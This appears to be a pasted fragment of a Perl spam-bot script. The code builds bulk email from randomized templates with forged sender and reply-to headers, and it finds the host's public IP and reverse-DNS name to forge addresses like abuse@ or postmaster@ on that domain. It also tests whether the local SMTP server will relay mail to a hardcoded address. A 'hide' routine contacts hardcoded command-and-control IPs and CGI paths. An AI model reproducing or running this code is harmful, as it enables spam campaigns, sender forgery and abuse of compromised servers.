- my $nmon = {Jan => 1, Feb => 2, Mar => 3, Apr => 4, May => 5, Jun => 6, Jul => 7, Aug => 8, Sep => 9, Oct => 10, Nov => 11, Dec => 12}->{$2};
- my $tmon = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]->[$nmon - 1];
- my $ampm = "AM"; my $hour = int $4; $ampm = "PM" if $hour == 12; $hour = 12 if $hour == 0; if ($hour > 12) { $ampm = "PM"; $hour -= 12; }
- $date =
- {
- DATE => $date,
- WWWW => $wday,
- WWW => $1,
- DD => sprintf ("%02d", $3),
- D => $3,
- MMMM => $tmon,
- MMM => $2,
- MM => sprintf ("%02d", $nmon),
- M => $nmon,
- YYYY => $7,
- YY => substr ($7, -2),
- Z => $zone,
- TT => $ampm,
- tt => lc $ampm,
- HH => $4,
- H => int $4,
- hh => sprintf ("%02d", $hour),
- h => $hour,
- mm => $5,
- m => int $5,
- ss => $6,
- s => int $6
- };
- my ($mail, $name) = &mail(\$from);
- my ($user, $host) = split (/\@/, $$mail);
- $from = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
- my $replyto = $from;
- if ($b->{from}[0] ne $b->{replyto}[0])
- {
- ($mail, $name) = &mail(\@{$b->{replyto}}[int rand scalar @{$b->{replyto}}]);
- ($user, $host) = split (/\@/, $$mail);
- $replyto = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
- }
- if ($b->{method} == 0)
- {
- #
- @_ = ();
- foreach (@$to) { ($mail, $name) = &mail(\$_); $_ = length $$name ? "$$name <$$mail>" : "<$$mail>"; push @_, $_; }
- ($user, $host) = split (/\@/, $$mail);
- $to = {ADDR => join (",\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20", @_), NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
- }
- else
- {
- #
- ($mail, $name) = &mail(\$to->[0]);
- ($user, $host) = split (/\@/, $$mail);
- $to = {ADDR => length $$name ? "$$name <$$mail>" : "<$$mail>", NAME => length $$name ? $$name : "", MAIL => $$mail, USER => $user, HOST => $host};
- }
- my $head =
- {
- HELO => $b->{helo},
- TYPE => $b->{type} ? "html" : "plain",
- SUBJECT => @{$b->{subject}}[int rand scalar @{$b->{subject}}],
- CHARSET => $b->{charset},
- ENCODING => $b->{charset} eq "windows-1251" ? "8bit" : "7bit",
- NPRIORITY => (5 - $b->{priority} * $b->{priority} - ($b->{priority} == 1 ? 1 : 0)),
- TPRIORITY => ["Low", "Normal", "High"]->[$b->{priority}],
- MESSAGEID => sprintf ("%08x\.%04x%04x", int ($time * 0.0023283064365387 + 27111902.8329849), int rand 32769, int rand 32769)
- };
- my $letter = length $b->{letter} ? sprintf ("%s%s%s", $b->{header}, "\x0D\x0A\x0D\x0A", $b->{letter}) : $b->{header};
- $letter =~ s/\%$_\%/$head->{$_}/g foreach (keys %$head);
- $letter =~ s/\%$_\%/$date->{$_}/g foreach (keys %$date);
- $letter =~ s/\%FROM$_\%/$from->{$_}/g foreach (keys %$from);
- $letter =~ s/\%REPLYTO$_\%/$replyto->{$_}/g foreach (keys %$replyto);
- $letter =~ s/\%TO$_\%/$to->{$_}/g foreach (keys %$to);
- &tag(\$letter);
- if (!length $b->{letter})
- {
- $letter =~ s/\x0D//gm;
- $letter =~ s/\x0A/\x0D\x0A/gm;
- }
- return $letter;
- }
- #
- sub quoted ($)
- {
- my $line = shift;
- $line =~ s/([^ \t\x0D\x0A!"#\$%&'()*+,\-.\/0-9:;<>?\@A-Z[\\\]^_`a-z{|}~])/sprintf ("=%02X", ord ($1))/eg;
- $line =~ s/([ \t]+)$/join ("", map {sprintf ("=%02X", ord ($_))} split ("", $1))/egm;
- my $lines = "";
- $lines .= "$1=\x0D\x0A" while $line =~ s/(.*?^[^\x0D\x0A]{71}(?:[^=\x0D\x0A]{2}(?![^=\x0D\x0A]{0,1}$)|[^=\x0D\x0A](?![^=\x0D\x0A]{0,2}$)|(?![^=\x0D\x0A]{0,3}$)))//xsm;
- $lines .= $line;
- return $lines;
- }
- #
- sub tag
- {
- my $line = shift;
- my $save = [];
- $$line =~ s/\[random\]([^\[]*)\[\/random\]({\d+,\d+})?(\((\d+)\))?/&tagrandom($1, $2, $4, \$save)/eg;
- $$line =~ s/\[string\]([^\[]*)\[\/string\](\((\d+)\))?/&tagstring($1, $3, \$save)/eg;
- $$line =~ s/\%\[(\d+)\]/$1 < 64 && defined $save->[$1] ? $save->[$1] : ""/eg;
- $$line =~ s/\[quot\](.*?)\[\/quot\]/"ed($1)/egs;
- }
- #
- sub tagrandom
- {
- my ($line, $spec, $cell, $save) = @_;
- if (defined $line && length $line)
- {
- if (defined $spec && $spec =~ /^{(\d+),(\d+)}$/)
- {
- $spec = $2 > 64 ? 64 : $2;
- $spec = $1 < $spec ? ($1 + int rand (1 + $spec - $1)) : $spec;
- }
- else
- {
- $spec = length $line;
- $spec = 1 + ($spec > 64 ? int rand 64 : int rand $spec);
- }
- $line = [split (//, $line)];
- $line = join ('', @$line[map {rand @$line}(1..$spec)]);
- }
- $line = defined $line ? $line : "";
- $$save->[$cell] = $line if defined $cell && $cell < 64;
- return $line;
- }
- #
- sub tagstring
- {
- my ($line, $cell, $save) = @_;
- if (defined $line && length $line)
- {
- $line = [split (/\|/, $line)];
- $line = $line->[int rand scalar @$line];
- }
- $line = defined $line ? $line : "";
- $$save->[$cell] = $line if defined $cell && $cell < 64;
- return $line;
- }
- #
- sub test
- {
- my $test = shift;
- my $tcpcn = sub
- {
- my $h = shift;
- my $p = shift;
- my $t = shift;
- if ($h = gethostbyname $h)
- {
- if (my $s = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM))
- {
- $s->blocking(0);
- unless ($s->connect($_ = sockaddr_in($p, $h)))
- {
- unless ($! == POSIX::EINPROGRESS || $! == POSIX::EWOULDBLOCK)
- {
- close $s;
- return;
- }
- my $o = new IO::Select $s;
- unless ($o->can_write($t))
- {
- close $s;
- return;
- }
- unless ($s->connected)
- {
- close $s;
- return;
- }
- }
- $s->blocking(1);
- return $s;
- }
- }
- return;
- };
- my $tcprd = sub
- {
- my $s = shift;
- my $t = shift;
- my $b = shift;
- $$b = "";
- my $o = new IO::Select $s;
- if ($o->can_read($t))
- {
- sysread $s, $$b, 8912;
- }
- else
- {
- close $s;
- return;
- }
- return $s;
- };
- my $tcpwr = sub
- {
- my $s = shift;
- my $t = shift;
- my $b = shift;
- my $o = new IO::Select $s;
- if ($o->can_write($t))
- {
- syswrite $s, $b;
- }
- else
- {
- close $s;
- return;
- }
- return $s;
- };
- my $time = 5;
- my $host = "";
- my $data = "";
- if ($test)
- {
- @_ = ('ns.mail.ru', 'mail.ru', 'ns1.google.com', 'gmail.com', '208.67.222.222', 'yahoo.com');
- while ($_ = shift @_)
- {
- $host = shift @_;
- if ($data = gethostbyname $_)
- {
- $host = &nstest($_ = sockaddr_in(53, $data), $time, $host, "MX", 1);
- next unless $host;
- if (my $s = $tcpcn->($host, 25, $time))
- {
- if ($s = $tcprd->($s, $time, \$data))
- {
- close $s;
- return 1 if length $data;
- }
- }
- }
- }
- return 0;
- }
- $time = 5;
- $host = "checkip.dyndns.org";
- $data = "";
- if (my $s = $tcpcn->($host, 80, $time))
- {
- if ($s = $tcpwr->($s, $time, "GET / HTTP 1.0\x0D\x0AHost: $host\x0D\x0A\x0D\x0A"))
- {
- if ($s = $tcprd->($s, $time, \$data))
- {
- close $s;
- }
- }
- }
- $host = "";
- if ($data =~ /(\d+\.\d+\.\d+\.\d+)/)
- {
- $data = $1;
- $host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "68.105.29.237"))), $time, $data, "PTR");
- $host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.222.222"))), $time, $data, "PTR") unless $host;
- $host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "208.67.220.220"))), $time, $data, "PTR") unless $host;
- $host = &nstest($_ = sockaddr_in(53, pack ("C4", split (/\./, "127.0.0.1"))), $time, $data, "PTR") unless $host;
- }
- my @from = ('a7189437@mail.com');
- if ($host && $host =~ /\./)
- {
- @_ = split (/\./, $host);
- while (2 <= scalar @_)
- {
- for (qw (support admin webmaster administrator www service tech customer robot noreply reply report post postmaster abuse))
- {
- push @from, join ('@', $_, join ('.', @_));
- }
- shift @_;
- }
- }
- $host = "";
- foreach my $mail (@from)
- {
- next unless (my $s = $tcpcn->("127.0.0.1", 25, $time));
- #
- $data = 'silver782@gmail.com';
- my @smtp = ("", "HELO localhost", "", "MAIL FROM: <$mail>", "", "RCPT TO: <$data>", "", "DATA", "", "From: $mail\x0D\x0ATo: $data\x0D\x0ASubject: Test\x0D\x0A\x0D\x0ATest\x0D\x0A.", "", "QUIT", "");
- my $last = "";
- foreach (@smtp)
- {
- if (length $_)
- {
- $last = $_;
- last unless ($s = $tcpwr->($s, $time, "$_\x0D\x0A"));
- }
- else
- {
- last unless ($s = $tcprd->($s, $time, \$data));
- last if $data !~ /^(2|3)/;
- $host = $mail if $last =~ /^From:/;
- }
- }
- close $s if $s;
- last if length $host;
- }
- return 0 if !length $host;
- $host = "" if $host eq 'a7189437@mail.com';
- return (1, $host);
- }
- sub hide
- {
- #
- #
- #
- &main('194.54.81.163', '/cgi-bin/hn/hs.cgi');
- &main('194.54.81.164', '/cgi-bin/hn/hs.cgi');
- &main('194.54.81.162', '/cgi-bin/hn/hs.cgi');
- &main('194.54.83.114', '/cgi-bin/network/net.cgi', 1);
- #
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement